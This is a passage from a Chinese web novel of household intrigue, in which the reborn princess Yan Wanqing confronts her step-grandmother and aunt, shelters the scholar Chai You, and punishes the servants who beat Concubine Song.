说是燕家的老太太,其实和她父亲也不是亲生母子关系,不过是老太爷后来的续弦,因为出身就在虎丘的庄子上,也不免多了很多从小地方过来的刻薄。 明明不是豪门大户,但是规矩比豪门大户多的很多。 小时候燕晚清多一句话都会被当场抽嘴巴。 这些事情她都记着。 她这个人没有别的优点,就是喜欢记仇。 一记好多年的那种。 “我可是你老奶奶,教不得你做事了?百义孝为先,你到底在狂什么!”又是一声拐杖杵地板的闷声。 燕晚清轻笑:“老太太喜欢规矩,那今日便好好的说说规矩,二婶不等主家先进门,便率先落了座,这也是老太太教出来的规矩么?年纪大了,可不能双标啊,你说是不是啊二婶?”目光落在老太太身边看热闹不嫌事大的妇人身上,她加重语气:“毕竟都是长辈,得给晚辈们做个表率。” 二婶被说了很不高兴:“你这孩子,怎么钻牛角尖啊,二婶不过是先进来给老太太倒茶罢了,哪有你说的那么严重。” “更何况老太太是你的奶奶,虽然年纪大了,你也不能这般欺负她啊,这要是传出去,外面人指不定怎么说我们镇国公府的家教呢。”二婶又冲着孙氏说道:“嫂子,你可得好好管管他们,年轻人有点气是好事,可年轻气盛过了就是坏事了。” 孙氏低头打量着自己的珠串,并没有接话。 气氛一下子低沉起来。 此时燕凌珍突然哭出了声音“呜呜呜都怪我,都怪我摔伤了腿,不能站着,不然大姐和奶奶也不不会因为我的事情闹得不愉快,二婶说得对,我就是个祸水,我不应该回来的……” 此话一出,众人的脸色又是一变。 “她当真说你是祸水了?”燕晚清低头看着燕凌珍问道,燕凌珍双手捂着脸小声啜泣,委屈的不行。 二婶平日里骂的话可太多了,哪里记得自己骂过什么。 平日里这个小六抽几下都憋不出一声屁,今日怎么回到了燕家就变得如此多言,与平日简直是判若两人。 这一下搞的她简直措手不及。 身边的老太太也是责怪的瞪了她一眼,怪她办事不周。 “好了,长辈说你几句你就委屈成这样,你大姐小时候不服管教,老身也出手教育过,不然你大姐如何能够变成现在这般优秀啊。”老太太出口说道。 燕晚清闻言,眼底都是戾气,她本想互相警告一下,往后老太太住在燕家,只要不碰头,大家不犯井水就行。 可是瞧着她的架势,是想要重新整顿燕家了。 欺负她的六妹,这笔账她燕晚清还没有算清楚呢! “二婶头上的簪子瞧着有些眼熟。”燕晚清突然盯着二婶说道:“你不会拿了本郡主亲手给小六雕刻的簪子,据为己有了吧。” 她懒得惯着这些恶毒的妇人,她的时间不应该被浪费在这里。 眼下谁要是惹她不高兴了,那就谁都别想有好日子过。 二婶下意识的去摸头顶上的簪子。 “这是小六送过来的,长辈怎么能够去拿晚辈的东西呢。” 燕晚清却低头看向燕凌珍:“是这样么?” 燕凌珍眼里两泡泪汪汪,像个受了欺负不敢说真话的小白兔:“……是,是的。” 燕晚清听罢,深呼吸一口气,右手抄起边上的杯盏狠狠的惯在了地上。 随即老五燕红昭便上前一把将小六抱在了怀中。 “燕晚清!你发什么疯,竟敢当着老身的面作威作福!跪下——!” 第三十四章 一荣俱荣,一辱俱辱 “跪下?”燕晚清慢条斯理的开口:“可以跪,老太太承受得了后果,本郡主便跪。” 说着她竟然真的撩起裙摆打算跪下来。 一旁的孙氏还是默不作声,只有宋姨娘急得不行:“这可使不得啊!” “怎么使不得?孙女跪奶奶,这在庄子上都是常有的事情,哪里使不得。”二婶不以为意的说道,心中暗想,难不成就燕晚的膝盖金贵不成? 笑话! 宋姨娘眼看着燕晚清就要跪下,赶紧上前拉住:“跪不得啊!” 她看着老太太道:“大小姐乃是圣上亲封的安平郡主,寓意大渭昌平永安,见圣上都是可以直接不跪的,老太太,这一跪,怕是要断送掉咱们镇国公府啊!” 老太太上了年纪,听不了多长一段,只听见断送二字的时候,便直接开口:“竟是这样?” 燕晚清挑眉:“还跪么?” 这还怎么跪,这话一出谁能受得起燕晚清的一跪。 二婶赶紧出来圆场:“都是误会误会。” 燕晚清趁着她从自己身边走过的功夫,抬手就将那簪子摘了下来,二婶惊呼:“你这是作甚?” 燕晚清细致的看了看簪子,确实是自己雕刻的那只,兔子耳朵上还有当时特意留下的刮痕。 “二婶没有簪好,重新让人簪吧。”燕晚清将簪子递过去,二婶伸出手便要接,却见对方手一松,簪子直接掉在地上,断成了三截。 “抱歉啊二婶,赶明儿有空,本郡主再给你雕一个。”燕晚清温和的说道。 二婶气急败坏,正要说话,旁边一直不说话的孙氏开口了。 “孩子们刚参加南山皇后娘娘举办的宴会回来,累坏了,眼下见过了母亲,便准许他们回院子休息吧。” 老太太先是看了一眼孙氏,意外的没吭声说什么,点了点头:“行吧,这些孩子老身看的脑袋疼,都散了吧。” 二婶一想到今日的目的还没有达成,怎么就让人走了,有些傻眼:“这就散了?” 孙氏抬眼看她:“弟妹还有其他的事情要和孩子们聊么?” 二婶被看的心里一麻:“……没,没。”其实她想让燕晚清带着自己儿子出去转转的,不过眼下若是提出只怕要挨骂,更何况这燕晚清脾气极其不好相与,她担心自己儿子吃亏。 “既然这样,那我们退下了,你和母亲舟车劳顿,也好好休息吧。”孙氏一锤定音,带着人离开了。 孙氏直接带着燕凌珍走了,剩下的几个各自回到了自己的院子。 燕晚清沐浴结束便靠坐在贵妃榻上闭幕养神,突然膝盖上有人轻轻的给她敲锤。 她睁开眼,便是从欢讨好的一张脸。 “小姐。”从欢小声喊道。 燕晚清嗯了一声。 从欢也不说话,继续给她按摩,按得燕晚清昏昏欲睡。 就在这时,从欢终于憋不住了。 “小姐,奴婢觉得六小姐不像表面那么简单。”她思忖了好久说出口。 燕晚清闻言,缓缓睁开双眼。 “所以呢?” “大小姐没看出来吗?六小姐今日的所作所为都有些故意引起争斗的意思。” 燕晚清轻笑一声,定睛看向从欢:“你还是一如既往的聪明。” 从欢被夸了,心情好了不少:“……都是小姐教得好。” 她卖力的给燕晚清捏腿:“小姐能将奴婢调回来吗?奴婢离不开小姐啊。” 燕晚清听完她的话,心里冷笑,这是萧鸿深按捺不住了。 “行啊,你明日便回内院吧。” 从欢一听,高兴坏了,又按了一会儿说道:“天气越来越冷了,奴婢给小姐炖了银耳燕窝,现在去给小姐端过来。” 燕晚清点头后,她高兴的离开了。 从欢自诩聪明,看穿了小六的伎俩,可又怎知她不是推波助澜呢? 那边孙氏的屋内,她正在给沐浴之后的燕凌珍整理头发。 一边梳着一边叹息。 “……今日的小聪明可万万不许再有了。” 燕凌珍身子一震,装作不解:“母亲何出此言。” 孙氏瞧着她懵懂无知的小姑娘模样,叹息一声:“你啊,真以为你大姐没看出来么?” 燕凌珍愣神的功夫又听见孙氏说道:“平日里你大姐性子冷,宅内外发生的任何事情都不落她的眼,今日偏偏为你发了一通大火,你便真当是自己演戏演得好?” 燕凌珍抿了抿唇:“母亲是在责怪我?那大姐……” “自然不是责怪你,这么多年你一直养在外面,母亲对于你是十分愧疚的,今日种种不过是你大姐在替你出气罢了。”孙氏回忆下午的闹剧,燕晚清的神情,她感慨:“……小六,你刚回家,但是需知,咱们燕家人,一荣俱荣,一辱俱辱。” 很多年后,燕凌珍回忆此时孙氏的说的话,依然胸口会抽痛,那时的她根本不知道母亲大姐乃至整个燕家女子身上究竟背负了怎样的命运。 今日又下了雪,皑皑铺了整个京都,红墙白瓦,相映成辉。 燕晚清照例在院子里和燕红昭练功,只是今日总有些气血翻涌,还不到半个时辰,她便低头咳出一口血来。 来不及拿帕子,她便用手捂住唇,血液从指缝间渗透出来,在热烈的白阳之下显得极其的剔透,像是一汪血色玛瑙。 燕红昭心急如焚去催丫鬟们找大夫,扶着燕晚清赶紧回屋子坐着。 只有燕晚清怔怔的看着掌心被帕子擦拭掉,却还残留的血色印记。 她一下子就拉住了燕红昭的手。 “大姐。”燕红昭被她吓了一跳。 燕晚清唇角还带着血色,从怀中取出一块玉珏,墨绿色的,上传串着青色的璎珞,看起来不同寻常。 “你替阿姐办一件事。”千机的毒素,已经深入骨髓。 随着上次落水,燕晚清明显感觉到自己的身体更加破败。 外表看着光鲜亮丽,可是内里已经腐烂不堪。 她担心自己撑不到那天,那个时候燕家便再无人筹谋。 招手让五妹附耳过来,她强忍胸腔血腥翻涌,跟她细致交代。 燕红昭听完所有的吩咐,满眼都是疑惑。 “不要多问,去做,时机到了大姐自然会将所有的一切托盘告诉你。” 燕红昭乖巧点头,拿着玉珏放好,转身便出了门。 等人走了,燕晚清才猛烈咳嗽出声,大片的血水止都止不住,吓得暗处的人再也无法隐身,纷纷出来。 “主子!”一身暗红色衣服的小姑娘心疼的看着燕晚清,手忙脚乱的从怀中开始掏瓶瓶罐罐。 燕晚一把摁住她的手:“我无碍,大夫一会儿就到,红雾去跟着红昭,务必将一切都安排好。” “主子真的做好打算了吗?”红雾眼底全是不舍。 燕晚清想要勾唇笑笑,此刻却觉得头晕眼花,她轻轻的嗯了一声,摆手:“快去吧。” 她这副病骨沉珂,千机毒一日不解,便是一日祸患。 必须做好万全准备。 昏昏沉沉的想着,燕晚清只感觉今日的艳阳确实有些刺眼了,朦朦胧胧耳鸣间,她恍惚回到了刚刚及笄的那年。 第三十五章 无碍,柴先生不是那种人 燕晚清不知道自己昏迷了多久,梦里她骑在马上,驰骋在塞外的草原,暖风和煦,吹得她的发丝飘扬,整个人都是自由的。 醒过来,只有满屋子的药香,还有众人担忧的神情。 燕晚清努力勾了勾唇,露出一抹苍白的笑容:“我没事。” “这不是大小姐第一次吐血了……”大夫将银针收拾好,叹息道:“若是再不能对症下药,只怕后面咳血会更加频繁。” 燕晚清点头,声音很温柔,仿佛事不关己:“我知道了,谢谢先生,辛苦母亲安排人送先生出去。” 孙氏想说什么最终还是咽了下去。 一群人跟着大夫出去了,只有小六呆在床榻前,目光灼灼的盯着自己。 燕晚清伸出手揉了揉她的小脑袋:“怎么了?可要吃蜜饯,桌子上的第二个罐子里有很多好吃的蜜饯。” 燕凌珍不动,她怔怔的看着旁边桌子上带血的纱布:“大姐经常吐血吗?” 燕晚清摇摇头:“旧疾罢了,不用担心。” 话还没有说完,手腕就被燕凌珍一把抓住,看她的样子好像是在给自己把脉,燕晚清有些吃惊。 此时孙氏送完了大夫回来,燕凌珍迅速将手收了回去。 燕晚清眼中闪过意味深长,不过她没有说什么。 孙氏看着燕晚清欲言又止,回来她便翻遍了家中所有能藏东西的地方,但是一无所获。 想到曾经像骄阳那般耀眼的大女儿,此刻只能躺在病榻上神色恹恹,这一切还是因为她的父亲,孙氏心里就跟刀绞一般。 燕家是风雨中飘摇就要被连根拔起的大树,所有的重担都压在了燕晚清身上,她身为母亲却不能分担半点,越是这样想,孙氏心中越是哀切。 可是身为镇国公当家主母的她,却不能流露出半点怯懦。 “好好休息。”孙氏抱着燕晚清的头,在怀中轻轻安抚,出门的时候帮她掖了一下被子,便拉着小六出了门。 小六在出门的时候,又回头看床榻上的人影,眼里都是深沉。 不过燕晚清却没有入睡,她缓缓起身在红雾的帮助下穿戴好了衣服。 “人呢?”她嗓音沙哑,状态很不好。 红雾轻声回应:“已经塞了药,现在吊着一口气等主子过去。” “嗯,走吧。”燕晚清往前迈开一步,立刻头晕目眩几乎晕倒,好在身边有红雾扶了她一把。 燕晚清的情况让红雾特别担忧:“要不主子别去了,属下们可以代劳。” “不是说你们不行,只是柴右此人心机颇深,哪怕他现在落魄了,也不容小觑,你们不是他的对手。”燕晚清回忆前世此人的生平事迹,可以说是不鸣则已一鸣惊人,那时萧鸿深已经大权在握,可是柴右仍能够在朝中有用三分之地,哪怕他拥护的是萧蘋风,萧鸿深也不敢动他。 柴右最擅长的就是民心所向,可以说此人拥有大智。 眼下燕晚清不过是靠着自己重活一世,抢在了太子爷之前遇到这个人。 所以这才是她不顾自己身体情况,硬要前往的原因。 等燕晚清到了柴房之后,额头上已经有薄薄一层汗了。 “主子还行吗?”红雾有些担忧的问道。 燕晚清点点头,看向那闭合的柴门,她推开红雾:“去开门。” 等到柴门被推开,燕晚清靠着月光发现柴房里竟然空无一人。 红雾愣了一下:“人呢?” “地面上没有血渍,说明还没有出来,你好好找找。”燕晚清轻声说道。 红雾便将门全部推开,左边那扇门推到一半反弹回来,只听见里面人传来:“哎疼疼疼!” 原来是藏在了门后面。 那柴右一身褴褛,身上又带着血,从门后面走出来,看见红雾的时候眼前一亮:“哟,小美女!” 红雾不回应,赶紧回到了燕晚清旁边,在一边扶住她。 燕晚清身上披着厚重的披风,柴右看过来的时候,她面色柔和,月光之下恍惚在发光,惹得他不禁又是一声惊呼:“仙女!” “柴先生过奖。”燕晚清不顾身体虚弱,给他稍微行了一个礼。 柴右回礼后,便忍不住问道:“你认得柴某人?今夜搭救是偶然还是刻意?” 燕晚清面上无奈,露出浅笑:“柴先生当我未卜先知不成?自然是偶然搭救了,不过柴先生的才华大家有目共睹,若是今年先生参加科考,必定是状元郎啊。” 柴右打量着燕晚清的穿着,眼神中的警惕依然没有消散:“柴某不过是小打小闹,读过几天书而已,倒是阁下穿着打扮,看着不像普通人家啊。” 燕晚清落落大方,眼神里都是笃定,直勾勾的盯着柴右:“柴先生酒香不怕巷子深,何必妄自菲薄呢。” “哈哈哈哈……嘶!”柴右听到燕晚清的恭维爽朗笑出声,却不小心扯到了伤口,疼的抽气。 他身上都是追债人殴打的伤,如果不是燕晚清的人,只怕他今夜真的要被那群无法之徒打死了。 “都说安平郡主性子清冷的很,今日一见,传言有虚,郡主分明是个秒人啊!”柴右朝着燕晚清挤眉弄眼,一边的红雾冷下脸呵斥:“不得放肆!” 燕晚清伸手拍了拍红雾:“无碍,柴先生不是那种人。” 柴右本身就性格古怪,却不是那种耽于美色的孟浪之徒。 燕晚清信他只是单纯的欣赏罢了。 柴右见燕晚清替自己说话,脸上的笑意又多了几分。 “今夜感谢郡主搭救,大恩不言谢,他日有用得上柴某的份上,但凭郡主一句话。” 燕晚清颔首微笑:“那就在此谢过先生了。” “有趣!有趣啊!”柴右见她这般,直呼有趣。 今夜都是千年的狐狸万年的精,几句话说了个来回便搞清楚了对方的意图。 柴右知道燕晚清有所图,燕晚清也直言不讳。 聪明人之间讲话就是这样干脆。 “既然如此,便辛苦先生在此处先休憩,稍后让人过来收拾一番。” 柴右也不推脱,他躲债,此时能在镇国公府里住下,哪里肯嫌弃住处。 这里虽说是柴房,却比他的一亩三分地还要大。 “有酒有肉便可以了。”柴右摸了摸鸡窝一样的头发。 燕晚清笑着没说话,红雾却开口了:“柴先生近日得吃的清淡些,才能好得快,酒肉这些发物是万万不能吃的。” “这多没趣啊……”柴右遗憾道。 燕晚清和红雾走了,还能听到他遗憾的叹息。 红雾一直撑着燕晚清回到了屋子里,只见她回去便是一口鲜血喷在了帕子上。 “主子!”红雾从怀中掏出银针,赶紧给燕晚清扎了几针。 燕晚清抬手摇头:“不碍事。” 红雾眼中都是担忧:“否极已经去找红佛手了,只要能找到神医,主子的毒就可以解了。” 燕晚清想的却不是这件事。 “柴右只怕没有那么容易被收归己用,我还得再费一番心思才行。” 第三十六章 宋姨娘遭打,晚清发威 昨夜忙碌了一宿,今天燕晚清却早早的醒过来了。 从歌进来的时候,就看见她捧着一本书在贵妃榻上看着,瓷白的小脸上都是认真。 “将屋子里的炭火换一盆。”从歌吩咐着小丫鬟,手里也不闲着,拿过一件外衫去给燕晚清披上:“早上还很凉,小姐应该注意点。” 燕晚清拍了拍她的手,没说话,注意力依然在手里的兵书上,从歌便招呼着人将早膳送进屋。 早上的吃食不是很多,但是胜在精致小巧,味道不错。 燕晚清闻着香味儿,似乎是想到了什么,她跟从歌吩咐道:“一份一模一样的,送到柴房去,你亲自去。” “喏。”从歌领命出去了。 从欢今日换了一件新衣服,翠绿色的袄子衬托着整个人小巧可爱,她进门便直奔着燕晚清过来,一把夺走了她手里的兵书,说道:“屋内没灯,小姐仔细伤着眼睛了,怎的今日起的这 燕晚清留恋的看了一眼被放在桌子上的书,笑笑:“昨天下午便睡了,所以今日清晨起的早了些。” 从欢动作麻利的帮她把衣服穿戴好,招呼着小丫鬟们端水,无微不至的伺候着燕晚清洗漱结束,又扶着人坐在了桌子前面。 用完早膳,便听见外面一阵喧闹,女人们的争吵声此起彼伏,听得燕晚清微微蹙眉。 从欢赶紧出去看,没一会儿她便回来了。 “二房的那位夫人,今日早晨非说厨房里的人厚此薄彼,给她的膳食磕碜,所以让手底下的嬷嬷去厨房闹了一番。” 燕晚清眼皮子不抬:“可闹明白了?” 镇国公家大业大,但是父亲一直坚持清正廉洁,所以家中吃穿用度都是比较平常的,燕晚清不知道这位二婶平日里在虎丘是怎么奢靡的,还嫌弃上她家的吃食来了。 “厨房里的张大娘,小姐你也知道的,一把菜刀就将闹事的人给吓走了。”从欢说起这个忍不住的笑:“所以现在这群老娘们儿一路闹哄哄的去宋姨娘那边讨说话了。” “找姨娘去了啊。”燕晚清一下子就了然于心,母亲早就将家中事情全部交给了宋姨娘,这二婶心中不满想要个说法,自然是要去找宋姨娘的。 只不过宋姨娘向来温软可欺,不知道能不能对付得了泼辣的二婶了。 从欢愤愤不平:“这群人,来到家中便为了住哪个院子喧闹了一番,今日又为了吃食恨不得大打出手,往后家里岂不是要被他们闹翻天了!” 从欢这番话倒是没有错,老太太几乎是举家迁徙到了京都,颇有要在这里养老送终的意思。 家中两天一小吵,三天一大吵确实不是个事情。 她正想着,突然外面急匆匆跑来一个嬷嬷,几乎是摔进了门内。 “不好了大小姐,二房的婶子打了我们家姨娘!” 燕晚清立刻起身,着急问道:“怎么回事?” “为了早膳的事情,厨房这么多年一直都是这样过来的,他们非要早上吃燕窝,非要开库房,姨娘不允,那二婶子便直接打人了。” “岂有此理!”听完嬷嬷的话,燕晚清脸瞬间冷了下来。 “眼下夫人还在礼佛时间,不得打扰,五小姐此刻也找不到人,老奴只能来大小姐这边碰碰运气,宋姨娘是出了名的脾气软,眼下只能被那二婶子拿捏,大小姐快些随老奴过去看看吧。” 燕晚清点头,从欢便去取披风,一行人朝着宋姨娘的住处而去。 等到了之后,看到院中的场景,燕晚清眼中的杀气肆意。 宋姨娘发丝凌乱,两边脸上红肿跌倒在地上,身上只穿了内衫,此刻狼狈不堪。 而那二婶端坐在椅子上,瞧着两个嬷嬷架着二婶,冷笑涟涟:“你不过是个丫鬟出身,竟也敢瞧不起我,姨娘又怎样,说到底你还是个贱命,主子让你做什么你就得做。” “二婶好大的口气!”燕晚清冷着一张小脸,二话不说走进了院子里。 五妹是她派出去做事的,如果五妹在,姨娘定然不会遭此殴打。 二婶看见燕晚清进来,眼神里有一阵子慌乱,但是很快她便冷静下来笑道:“晚清啊,你怎么起这么早。” 燕晚清看都没有看她一眼,直接走到了宋姨娘身边。 她先是冷冷的看了看压着宋姨娘还不松手的两个嬷嬷。 不是家里的人,是虎丘庄子上的嬷嬷。 家中的人没有这么大的胆子,敢做出这种事情。 既然是这样,也就别怪她燕晚清不给那老太太面子。 想到这里,她冷哼一声,上前便是一脚揣在了一个嬷嬷的腿窝上,嘴上也不闲着:“从欢,过来,给我打!” 从欢不含糊,赶紧跑上前,便拧开另外一个压制宋姨娘的嬷嬷,上前就是一个大嘴巴子,扇的那嬷嬷超后踉跄了好几步。 燕晚清将宋姨娘扶起来,近看她身上被撕扯的痕迹,便更加触目惊心。 “姨娘别怕,我来了。” 宋姨娘满眼都是泪水,她这辈子都没有这么屈辱过,一直跟着孙氏,最动荡的那几年也就是生下燕红昭的时候,从那之后便一直在燕家生活着,从来没有想过有一天,自己能在燕家被人打了。 “来人,扶姨娘进去!”燕晚清抬眼直勾勾的看向二婶,那些压着宋姨娘身边丫鬟的嬷嬷们赶紧撒开了手。 丫鬟们得了空顾不得自己身上的疼,赶紧扶着自家的主子进了屋子。 留下一个刚刚跑去喊燕晚清的嬷嬷,哭嚎着跪在了地上。 “求大小姐做主,这二婶子实在是蛮横,闯进院子,二话不说便将宋姨娘从床榻上拖到了院子中一阵谩骂殴打,简直是岂有此理!” 二婶就像是没有听到这话一样,冲着燕晚清喜笑颜开:“晚清啊,你穿的可太单薄了,早膳用的如何?待会儿可要去二婶那边再用一些?” 仿佛刚刚发生的一切对于她来说都是稀疏平常的小事。 又或者来说。 二婶的有恃无恐是因为,她根本就没把宋姨娘当做燕家的主子。 她觉得宋姨娘还是奴婢,可以任她磋磨打骂的奴婢。 燕晚清看着二婶,原本清冷的脸上慢慢的勾起了微笑,樱唇微启:“二婶不打算给我一个说法吗?” 第三十七章 今日动手的人,都摁住了 二婶见燕晚清笑着说话,也跟着笑了起来,她走上前拉住燕晚清的手:“哎哟你刚刚可真是要吓死二婶了,不过是个姨娘,还要什么交代,在虎丘的庄子上,你二叔那些姨娘,二婶我想怎么处置都行,随便发卖了,你二叔也不敢吭声的。” “晚清啊你可要知道,自古嫡庶尊卑,伦理纲常那都是界限分明的,你切莫和这些身份卑微的奴婢丫鬟们相处的太过于亲密,这些人可都是贪心的,得了个机会,就妄想和你平起平坐呢。” 一番言论之下,燕晚清脸上的笑意越发浓厚。 二婶以为自己一番言辞已经让燕晚清认可了,熟不知跟着燕晚清过来的丫鬟们都已经往后退了几步,就连那刚刚跪在地上的嬷嬷也往旁边爬远了些。 在燕家上下都知道。 燕家的大小姐,平日里都是目中无人,世俗都不放在眼里的清冷模样,这个时候是安全系数最高的,摆明她根本不想搭理你。 但是如果她笑了,而且笑的特别开心,像个狐狸精。 那就说明,十有**是动了坏心思,那都是要见血的。 现在燕晚清笑了,笑的双眼潋滟,面若桃花,笑意却丝毫不达眼底。 “那这么说来,还要谢谢二婶替我母亲管教下人了?”动听悦耳的声音缓慢响起。 二婶根本就没过脑子:“这就不用谢了,听说你母亲早上都喜欢礼佛,年纪也不大,怎么喜欢做这些老妇人才喜欢做的事情,待会儿我便拉着她出去逛街去。” “原来礼佛是老妇人喜欢做的事情啊。”燕晚清恍然大悟的说道,二婶得意的笑:“可不是,你母亲这个身份的夫人,就应该吃吃喝喝逛逛,没事找人打打牌,出去听听小曲听听戏,这才叫人生啊。” 二婶说的喜笑颜开,眼前已经浮现自己哄着孙氏买这个买那个疯狂挥霍的场景了,届时自己肯定少不了捞点好处。 只要和这孙氏关系打好了,往后这镇国公可不就得交给她这个妯娌来管了? 哪里轮得到宋姨娘那个卑贱的婢子?! “要我说啊,你母亲真是糊涂,怎么就把家中大权交给了一个姨娘……”二婶得意忘形刚说出口,蓦地又打住,在燕晚清似笑非笑的神情中,她讪笑道:“你母亲性子淡,不知道人间险恶,你看一个姨娘住这么好的院子,这说出去要给外面人笑话的。” “那二婶觉得宋姨娘应该住哪个院子?”燕晚清听不出情绪的开口。 二婶眼睛咕噜一转,她笑道:“我也不欺负人,说个实在话,愿意拿我那个院子跟宋姨娘的换,晚清你觉得怎么样?” “怎么样?”燕晚清蓦地冷笑一声:“那可真是一点都不怎么样。” “你!”二婶不知道为什么燕晚清突然变了一副嘴脸,愣在了原地。 “二婶怎么管二叔的后院,本郡主不会插手,但是二婶千不该万不该,将手伸到了我镇国公府内院来,还公然让这些嬷嬷打了宋姨娘,今天这件事情,本郡主绝不会束手旁观!” 燕晚清眼底都是戾气:“今日对宋姨娘动手的人,都给摁在地上,跪下!” 话音刚落,便看见院子外面突然跑进来一群家丁,二婶她们惊慌失色:“燕晚清,你敢!我可是你二婶!” 燕晚清舔了舔虎牙,磨砺的感觉让她此刻十分清醒:“你且看着我敢不敢。” “动手!” 燕家的大小姐开口说话了,家丁们毫不含糊,一下子就将那些嬷嬷婆子五六号人全部摁在了地上。 燕晚清看着这群养的膘肥体壮的婆子们,心中冷笑了然。 定是二婶故意找来的,这群庄子里干粗活的婆子,对付宋姨娘院子里的婆子,基本上一个打三个。 就是故意过来找茬的。 “从欢,好好教教他们,什么才是我燕家的规矩。”燕晚清今日带着从欢过来,便是想到要动手的。 从欢对于磋磨人这一块,十分拿手。 只见她上前直接脱掉了一个丫鬟脚上的鞋子,然后反手拿着鞋子便抽了她两嘴巴子,冬日里鞋子抽脸,脸蛋迅速红肿起来。 从欢一下接着一下的抽着,整个院子噤若寒蝉,没有一个人敢多说一句话。 二婶早就被吓得坐在了石椅上,只要她敢起来,身边凶恶的家丁便狠狠的瞪着她。 这下子她终于知道,燕晚清是要给宋姨娘出气了。 嬷嬷婆子们被打的哭爹喊娘,燕晚清置若罔闻,她站的笔直在一棵柿子树下,光秃秃的树上只剩下几个干瘪橘红的柿子,在朝阳之下闪烁着晶莹的光芒。 树下的燕晚清双眼没有一丝感情,捧着一个暖手炉,就这么悄然站着。 不知道过了多久,二婶实在是忍不下去了,嚎啕大哭出声。 “燕晚清你不是个人,你这是要把你二婶放在火上烤啊,你为了一个下贱的婢子,这么折煞你二婶,说出去是要给人戳脊梁骨的!” 燕晚清闻言侧首看过去,看她趴在石桌上撒泼,红唇微勾:“宋姨娘是家人,不是什么下贱的婢子,本郡主敬二叔,才尊称你一声二婶,但是你可不要真以为自己配当本郡主的长辈,你瞧不起宋姨娘的出身,可知她也是将军府嫡长女身边的贴身丫鬟,身份地位比你一个员外庶出也是绰绰有余的!” “今日你敢当众羞辱宋姨娘,便要想到要付出怎样的代价!” 二婶眯起双眼,她怒气冲冲:“怎么的你还敢出手打我不成?!” “怎么会呢。”她燕晚清怎么会做出这么低端且会让人拿住把柄的事情呢。 二婶听到不会打她松了一口气,不然传出去被一个小辈教训了,她才是真正的丢死人了。 二婶赶紧站起身,猛地一把推开了家丁,然后冲出了院子,临走的时候她冲着燕晚清喊道:“这件事情不会过去的,你们给我等着!” “好啊,本郡主等着。” “大小姐何必为了姨娘去得罪二房的人,你那二叔的性子也是不好相与的,若是被他知道你这般对你二婶,只怕是又是一番波澜了。”宋姨娘穿戴好衣服急匆匆的走了出来。 看到满院子跪着的婆子嬷嬷,她吓了一大跳。 燕晚清露出安抚性的笑容:“姨娘不用担心,我会处理的,你脸上的伤可涂了药,待会儿五妹回来得伤心难过了。” 她很是自责,没有保护好宋姨娘。 宋姨娘眼眶微热,自从大小姐风寒好了之后,整个人性情大变,变得越发有人情味了,真好。 第三十八章 原来这样,郡主是在监工 但是今天的事情远远没有结束。 等孙氏从佛堂出来,收到的消息是大小姐带着人把老太太的院子堵住了。 是的,燕晚清没等那二婶带着老太太过来兴师问罪,先发制人,让家丁将老太太的院子围了一个圈。 她坐在从欢搬过来的椅子上,隔着围墙门,坐在满是黄叶的银杏树下,惬意的喝着热茶。 里面的人就没有这般好心情了。 “燕晚清实在是不像话,怎么能够做出这种事情,简直是不把您这个镇国府老夫人放在眼里。”二婶绞着手里的帕子煽风点火。 老太太气得不轻,她重重的杵着手里的龙头拐杖。 “乱套,简直是乱套!这个混账,放肆程度不减当年!” 二婶疑惑:“好歹是镇国府的嫡长女,怎生养成了这般嚣张跋扈的个性,京都怕是找不出第二个了。” 一路上她听闻那安平郡主性子清冷,可是到了才知道,传言害她啊,但凡知道这燕晚清是这样睚眦必报,她怎么可能生出那么多心思。 不过她也不是很害怕,眼下老太太是她这边的,那燕晚清再是个泼猴,还能翻出忠孝这两座大山去? 笑话! 那可是说出去都要遗臭万年的。 她这个小姑娘以后难不成不想嫁人了? 二婶这边心思乱动,那边老太太就开了口。 “那可是十岁就敢上战场的主,见惯了血腥杀戮,你只看到她现在像个女菩萨,可曾见过她手起刀落杀人的场景?那个时候她不过才十二岁……”老太太回想当年,至今记忆犹新。 “杀人!”二婶愣住:“十二岁,也不过就是小六这般大小,她就敢杀人了,但是为何现在她……” “那是从外面回来的路上,不知怎么的遇到了刺杀,还记得那天下了大雨,地上全都是血,那孩子就在雨水中将前来刺杀的人全部杀了……”老太太沙哑的嗓音讲着以前的故事,让二婶毛骨悚然,她却陷入了回忆里:“如果不是及笄那年去了一趟塞外,受了重伤,只怕这猴子真的要翻了天,可惜……” “可惜?”二婶捂住嘴恨不得尖叫出声,堵着门口的是十二岁就敢杀人的杀神,那她岂不是老虎屁股上拔毛,这可怎么办:“得亏是受了伤,不然现在我还有命活吗?” 她可不想被燕晚清一剑抹了脖子。 老太太瞧不上她大呼小叫的样子:“你慌什么?!这里是京都,是天子脚下,你是她二婶子,难不成她真的闯进来把你杀了?” 二婶不敢说话了。 老太太眯着眼睛,透过窗户隐约看到外面的人影闪动,奈何年纪大了,愣是看不清楚。 “你帮我看看,是不是来人了?” 二婶赶紧凑过去看,可不就是来人了。 “似乎是个男子。” 老太太被二婶挤在边上,来了气,上手就给了她一巴掌,狠狠的拍在了她的背上:“最近老实点,等安儿到了京都,你就安全了,那猴子再怎么说,也是要给他二叔几分薄面的。” 二婶挨了打,也顾不上疼:“娘,那之前咱们商量的事情呢?” 老太太冷哼十分不耐烦:“都说了一切等安儿过来,你们夫妇都住进来再说。”她突然想到什么:“也和才良那混小子说一声,没事不要往他这位堂姐面前凑。” 二婶忙不迭点头,眼神却管不住往外飘,那男子好似在和燕晚清说些什么,只是隔了太远,她听不太清楚。 “她今年也有十九了,长得极好,身份也高贵,为何一直没有婚配?”二婶疑惑的问道,这些年愣是一丁点消息都没有传出来。 老太太听罢,想到了一些往事,叹了一口气。 “如果不是及笄那年的事情,那猴子也是要当太子妃的人……可惜,可惜啊……” 想到这件事情,老太太就忍不住扼腕叹息:“都是命。” 二婶口中呢喃…… 太子妃? 燕晚清? “那都是长辈之间的事情,她不知道,你别说漏了嘴,到时候再把你堵着门里面,我可没有那么多闲心情来救你。”老太太打了个哈欠,旁边服侍的嬷嬷赶紧上前搀扶:“行了,我去休息了,你再待会儿也走吧。” 老太太进了里屋,二婶便一直呆在窗口看着。 她看着银杏树下,燕晚清和一男子愉快的交谈着,心里升起了一个不该有的心思。 这边燕晚清丝毫没有要将人撤走的意思。 她看着面前俊俏的儿郎,心里有些微妙:“小侯爷今日怎的有空突然来访?” 怀玉将手里的糕点交给她身后的丫鬟,笑道:“听说这家的糕点比较好吃,想到你应该喜欢,回去的路上便绕了些路过来送给郡主了。” “这……”燕晚清微微愣神。 怀玉意识到自己说了多么让人误会的话,赶紧解释道:“郡主别误会,本侯是无心之举,并没有存不该有的心思,和郡主一见如故,想交郡主这个朋友而已……” 